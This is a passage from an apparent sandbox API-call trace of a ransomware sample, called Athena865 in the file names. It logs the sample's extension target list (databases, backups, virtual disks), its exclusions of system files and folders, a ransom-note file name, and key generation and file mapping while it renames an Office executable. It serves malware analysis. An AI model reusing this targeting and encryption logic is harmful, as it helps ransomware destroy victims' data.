(lpString="xml") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0072.518] lstrlenW (lpString="$er") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0072.518] lstrlenW (lpString="4dd") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0072.518] lstrlenW (lpString="4dl") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0072.518] lstrlenW (lpString="^^^") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0072.518] lstrlenW (lpString="abs") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0072.518] lstrlenW (lpString="abx") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0072.518] lstrlenW (lpString="accdb") returned 5 [0072.518] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0072.518] lstrlenW (lpString="accdc") returned 5 [0072.518] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0072.518] lstrlenW (lpString="accde") returned 5 [0072.518] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0072.519] lstrlenW (lpString="accdr") returned 5 [0072.519] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0072.519] lstrlenW (lpString="accdt") returned 5 [0072.519] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0072.519] lstrlenW (lpString="accdw") returned 5 [0072.519] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0072.519] lstrlenW (lpString="accft") returned 5 [0072.519] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0072.519] lstrlenW (lpString="adb") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0072.519] lstrlenW (lpString="adb") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0072.519] lstrlenW (lpString="ade") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0072.519] lstrlenW (lpString="adf") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0072.519] lstrlenW (lpString="adn") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0072.519] lstrlenW (lpString="adp") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0072.519] lstrlenW (lpString="alf") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0072.519] lstrlenW (lpString="ask") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0072.519] lstrlenW (lpString="btr") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0072.519] lstrlenW (lpString="cat") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0072.519] lstrlenW (lpString="cdb") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0072.519] lstrlenW (lpString="ckp") returned 3 [0072.519] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0072.520] lstrlenW (lpString="cma") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0072.520] lstrlenW (lpString="cpd") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0072.520] lstrlenW (lpString="dacpac") returned 6 [0072.520] lstrcmpiW (lpString1="ce.exe", lpString2="dacpac") returned -1 [0072.520] lstrlenW (lpString="dad") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0072.520] lstrlenW (lpString="dadiagrams") returned 10 [0072.520] lstrcmpiW (lpString1="ervice.exe", lpString2="dadiagrams") returned 1 [0072.520] lstrlenW (lpString="daschema") returned 8 [0072.520] lstrcmpiW (lpString1="vice.exe", lpString2="daschema") returned 1 [0072.520] lstrlenW (lpString="db-journal") returned 10 [0072.520] lstrcmpiW (lpString1="ervice.exe", lpString2="db-journal") returned 1 [0072.520] lstrlenW (lpString="db-shm") returned 6 [0072.520] lstrcmpiW (lpString1="ce.exe", lpString2="db-shm") returned -1 [0072.520] lstrlenW (lpString="db-wal") returned 6 [0072.520] lstrcmpiW (lpString1="ce.exe", lpString2="db-wal") returned -1 [0072.520] lstrlenW (lpString="dbc") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0072.520] lstrlenW (lpString="dbs") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0072.520] lstrlenW (lpString="dbt") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0072.520] lstrlenW (lpString="dbv") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0072.520] lstrlenW (lpString="dbx") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0072.520] lstrlenW (lpString="dcb") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0072.520] lstrlenW (lpString="dct") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0072.520] lstrlenW (lpString="dcx") returned 3 [0072.520] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0072.520] lstrlenW (lpString="ddl") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0072.521] lstrlenW (lpString="dlis") returned 4 [0072.521] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0072.521] lstrlenW (lpString="dp1") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0072.521] lstrlenW (lpString="dqy") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0072.521] lstrlenW (lpString="dsk") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0072.521] lstrlenW (lpString="dsn") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0072.521] lstrlenW (lpString="dtsx") returned 4 [0072.521] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0072.521] lstrlenW (lpString="dxl") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0072.521] lstrlenW (lpString="eco") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0072.521] lstrlenW (lpString="ecx") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0072.521] lstrlenW (lpString="edb") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0072.521] lstrlenW (lpString="epim") returned 4 [0072.521] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0072.521] lstrlenW (lpString="fcd") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0072.521] lstrlenW (lpString="fdb") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0072.521] lstrlenW (lpString="fic") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0072.521] lstrlenW (lpString="flexolibrary") returned 12 [0072.521] lstrcmpiW (lpString1="tService.exe", lpString2="flexolibrary") returned 1 [0072.521] lstrlenW (lpString="fm5") returned 3 [0072.521] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0072.521] lstrlenW (lpString="fmp") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0072.522] lstrlenW (lpString="fmp12") returned 5 [0072.522] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1 [0072.522] lstrlenW (lpString="fmpsl") returned 5 [0072.522] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1 [0072.522] lstrlenW (lpString="fol") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0072.522] lstrlenW (lpString="fp3") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0072.522] lstrlenW (lpString="fp4") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0072.522] lstrlenW (lpString="fp5") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0072.522] lstrlenW (lpString="fp7") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0072.522] lstrlenW (lpString="fpt") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0072.522] lstrlenW (lpString="frm") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0072.522] lstrlenW (lpString="gdb") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0072.522] lstrlenW (lpString="gdb") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0072.522] lstrlenW (lpString="grdb") returned 4 [0072.522] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0072.522] lstrlenW (lpString="gwi") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0072.522] lstrlenW (lpString="hdb") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0072.522] lstrlenW (lpString="his") returned 3 [0072.522] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0072.522] lstrlenW (lpString="ib") returned 2 [0072.522] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0072.522] lstrlenW (lpString="idb") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0072.523] lstrlenW (lpString="ihx") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0072.523] lstrlenW (lpString="itdb") returned 4 [0072.523] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0072.523] lstrlenW (lpString="itw") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0072.523] lstrlenW (lpString="jet") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0072.523] lstrlenW (lpString="jtx") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0072.523] lstrlenW (lpString="kdb") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0072.523] lstrlenW (lpString="kexi") returned 4 [0072.523] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0072.523] lstrlenW (lpString="kexic") returned 5 [0072.523] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1 [0072.523] lstrlenW (lpString="kexis") returned 5 [0072.523] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1 [0072.523] lstrlenW (lpString="lgc") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0072.523] lstrlenW (lpString="lwx") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0072.523] lstrlenW (lpString="maf") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0072.523] lstrlenW (lpString="maq") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0072.523] lstrlenW (lpString="mar") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0072.523] lstrlenW (lpString="marshal") returned 7 [0072.523] lstrcmpiW (lpString1="ice.exe", lpString2="marshal") returned -1 [0072.523] lstrlenW (lpString="mas") returned 3 [0072.523] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0072.524] lstrlenW (lpString="mav") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0072.524] lstrlenW (lpString="maw") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0072.524] lstrlenW (lpString="mdbhtml") returned 7 [0072.524] lstrcmpiW (lpString1="ice.exe", lpString2="mdbhtml") returned -1 [0072.524] lstrlenW (lpString="mdn") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0072.524] lstrlenW (lpString="mdt") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0072.524] lstrlenW (lpString="mfd") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0072.524] lstrlenW (lpString="mpd") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0072.524] lstrlenW (lpString="mrg") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0072.524] lstrlenW (lpString="mud") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0072.524] lstrlenW (lpString="mwb") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0072.524] lstrlenW (lpString="myd") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0072.524] lstrlenW (lpString="ndf") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0072.524] lstrlenW (lpString="nnt") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0072.524] lstrlenW (lpString="nrmlib") returned 6 [0072.524] lstrcmpiW (lpString1="ce.exe", lpString2="nrmlib") returned -1 [0072.524] lstrlenW (lpString="ns2") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0072.524] lstrlenW (lpString="ns3") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0072.524] lstrlenW (lpString="ns4") returned 3 [0072.524] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0072.524] lstrlenW (lpString="nsf") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0072.525] lstrlenW (lpString="nv") returned 2 [0072.525] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0072.525] lstrlenW (lpString="nv2") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0072.525] lstrlenW (lpString="nwdb") returned 4 [0072.525] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0072.525] lstrlenW (lpString="nyf") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0072.525] lstrlenW (lpString="odb") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0072.525] lstrlenW (lpString="odb") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0072.525] lstrlenW (lpString="oqy") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0072.525] lstrlenW (lpString="ora") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0072.525] lstrlenW (lpString="orx") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0072.525] lstrlenW (lpString="owc") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0072.525] lstrlenW (lpString="p96") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0072.525] lstrlenW (lpString="p97") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0072.525] lstrlenW (lpString="pan") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0072.525] lstrlenW (lpString="pdb") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0072.525] lstrlenW (lpString="pdm") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0072.525] lstrlenW (lpString="pnz") returned 3 [0072.525] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0072.525] lstrlenW (lpString="qry") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0072.526] lstrlenW (lpString="qvd") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0072.526] lstrlenW (lpString="rbf") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0072.526] lstrlenW (lpString="rctd") returned 4 [0072.526] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0072.526] lstrlenW (lpString="rod") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0072.526] lstrlenW (lpString="rodx") returned 4 [0072.526] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0072.526] lstrlenW (lpString="rpd") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0072.526] lstrlenW (lpString="rsd") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0072.526] lstrlenW (lpString="sas7bdat") returned 8 [0072.526] lstrcmpiW (lpString1="vice.exe", lpString2="sas7bdat") returned 1 [0072.526] lstrlenW (lpString="sbf") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0072.526] lstrlenW (lpString="scx") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0072.526] lstrlenW (lpString="sdb") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0072.526] lstrlenW (lpString="sdc") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0072.526] lstrlenW (lpString="sdf") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0072.526] lstrlenW (lpString="sis") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0072.526] lstrlenW (lpString="spq") returned 3 [0072.526] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0072.526] lstrlenW (lpString="te") returned 2 [0072.526] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0072.526] lstrlenW (lpString="teacher") returned 7 [0072.527] lstrcmpiW (lpString1="ice.exe", lpString2="teacher") returned -1 [0072.527] lstrlenW (lpString="tmd") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0072.527] lstrlenW (lpString="tps") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0072.527] lstrlenW (lpString="trc") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0072.527] lstrlenW (lpString="trc") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0072.527] lstrlenW (lpString="trm") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0072.527] lstrlenW (lpString="udb") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0072.527] lstrlenW (lpString="udl") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0072.527] lstrlenW (lpString="usr") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0072.527] lstrlenW (lpString="v12") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0072.527] lstrlenW (lpString="vis") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0072.527] lstrlenW (lpString="vpd") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0072.527] lstrlenW (lpString="vvv") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0072.527] lstrlenW (lpString="wdb") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0072.527] lstrlenW (lpString="wmdb") returned 4 [0072.527] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0072.527] lstrlenW (lpString="wrk") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0072.527] lstrlenW (lpString="xdb") returned 3 [0072.527] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0072.528] lstrlenW (lpString="xld") returned 3 [0072.528] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0072.528] lstrlenW (lpString="xmlff") returned 5 [0072.528] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1 [0072.528] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe.Athena865") returned 73 [0072.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\office14\\iecontentservice.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\iecontentservice.exe.athena865"), dwFlags=0x1) returned 1 [0072.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\iecontentservice.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.529] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=725928) returned 1 [0072.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.530] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.530] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.530] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.531] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb16b0, lpName=0x0) returned 0x154 [0072.532] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb16b0) returned 0x2d50000 [0072.559] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.560] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.560] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.561] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0072.568] CloseHandle (hObject=0x154) returned 1 [0072.568] CloseHandle (hObject=0x17c) returned 1 [0072.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.571] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0072.571] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.571] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.571] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2=".") returned 1 [0072.571] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="..") returned 1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="windows") returned -1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="bootmgr") returned 1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="temp") returned -1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="pagefile.sys") returned -1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="boot") returned 1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="ids.txt") returned 1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="ntuser.dat") returned -1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="perflogs") returned -1 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2="MSBuild") returned -1 [0072.572] lstrlenW (lpString="IMCOMMON.DLL") returned 12 [0072.572] lstrcpyW (in: lpString1=0x241e89e, lpString2="IMCOMMON.DLL" | out: lpString1="IMCOMMON.DLL") returned="IMCOMMON.DLL" [0072.572] lstrlenW (lpString="IMCOMMON.DLL") returned 12 [0072.572] lstrlenW (lpString="Athena865") returned 9 [0072.572] lstrcmpiW (lpString1="OMMON.DLL", lpString2="Athena865") returned 1 [0072.572] lstrlenW (lpString=".dll") returned 4 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2=".dll") returned 1 [0072.572] lstrlenW (lpString=".lnk") returned 4 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2=".lnk") returned 1 [0072.572] lstrlenW (lpString=".ini") returned 4 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2=".ini") returned 1 [0072.572] lstrlenW (lpString=".sys") returned 4 [0072.572] lstrcmpiW (lpString1="IMCOMMON.DLL", lpString2=".sys") returned 1 [0072.572] lstrlenW (lpString="IMCOMMON.DLL") returned 12 [0072.572] lstrlenW (lpString="bak") returned 3 [0072.572] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0072.572] lstrlenW (lpString="ba_") returned 3 [0072.572] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0072.572] lstrlenW (lpString="dbb") returned 3 [0072.572] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0072.572] lstrlenW (lpString="vmdk") returned 4 [0072.572] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0072.572] lstrlenW (lpString="rar") returned 3 [0072.572] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0072.573] lstrlenW (lpString="zip") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0072.573] lstrlenW (lpString="tgz") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0072.573] lstrlenW (lpString="vbox") returned 4 [0072.573] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0072.573] lstrlenW (lpString="vdi") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0072.573] lstrlenW (lpString="vhd") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0072.573] lstrlenW (lpString="vhdx") returned 4 [0072.573] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0072.573] lstrlenW (lpString="avhd") returned 4 [0072.573] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0072.573] lstrlenW (lpString="db") returned 2 [0072.573] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0072.573] lstrlenW (lpString="db2") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0072.573] lstrlenW (lpString="db3") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 